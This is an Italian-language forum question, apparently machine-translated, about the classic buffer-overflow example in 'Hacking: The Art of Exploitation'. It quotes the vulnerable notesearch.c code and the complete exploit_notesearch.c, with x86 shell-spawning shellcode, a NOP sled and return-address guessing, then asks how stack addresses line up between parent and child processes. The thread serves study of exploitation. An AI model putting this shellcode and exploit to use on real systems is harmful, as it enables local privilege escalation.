Stavo leggendo questo libro Art of Exploitation, che è un buon libro e mi imbatto in quell'esempio dal file exploit_notesearch.c.esempio di overflow del buffer dal libro Art of Exploitation
brevemente autore cerca di traboccare programma dal notesearch.c
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
L'argomento della funzione principale è copiato nella matrice searchstring e se l'argomento è più grande di 100 byte traboccherà l'indirizzo di ritorno dal funzione principale.
L'autore prepara lo shellcode in exploit_notesearch.c e chiede notesearch.c vulnerabili
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
Si può vedere che shellcode è combinato con NOP slitta e indirizzo, che dovrebbe puntare a che NOP sled tornare. L'autore usa l'indirizzo di una variabile locale i come punto di riferimento e i substrati 270 byte, tentando così di capire la posizione approssimativa della slitta NOP.
Come comprendo l'autore si presuppone che lo stackframe della funzione principale da vulnerabili notesearch.c sarà nello stesso segmento di stack di stackframe della funzione principale da exploit_notesearch.c. Presumo questo perché solo in questo modo questa manipolazione con l'indirizzo della variabile locale posso funzionare.
Ma, l'autore chiama vulnerabili notesearch.c con l'aiuto del sistema() come questo sistema (comando). Il mio punto è che questo sistema di funzioni() da qualche parte all'interno usa fork() per spawnare un processo figlio e successivamente usa la funzione exec() per cambiare l'immagine del processo. Ma se l'immagine è cambiata significa che il segmento dello stack sarà fresco e tutte quelle manipolazioni con indirizzo della variabile locale i nella funzione principale in exploit_notesearch.c saranno inutili, ma in qualche modo questo exploit funziona che è completamente confuso per me.
Grazie Niklas per la risposta. –
Grazie Niklas per la risposta. È una proprietà speciale del sistema operativo l'allocazione della memoria virtuale tra processo padre e figlio che il processo figlio utilizzerà il valore memorizzato in esp del processo parrent? Voglio dire, quando l'autore sottrae 270 byte, presuppone che gli indirizzi virtuali del processo figlio vulnerabile saranno inferiori nel segmento dello stack. Ad esempio un processo genitore ha fatto il suo lavoro e ha utilizzato l'indirizzo nel segmento dello stack fino a 0hffff4534, il processo figlio continuerà da quell'indirizzo virtuale? se non è il caso, c'è qualche buon manuale o tutorial che può spiegare questo. Grazie in anticipo –
Puoi correggermi se ho torto: ho capito che questo exploit è possibile perché entrambi i processi assegneranno lo stesso indirizzo virtuale per il segmento dello stack, ma perché la funzione principale vulnerabile dovrà allocare molti byte per la variabile locale searchstring possiamo supporre che sarà più basso nello stack –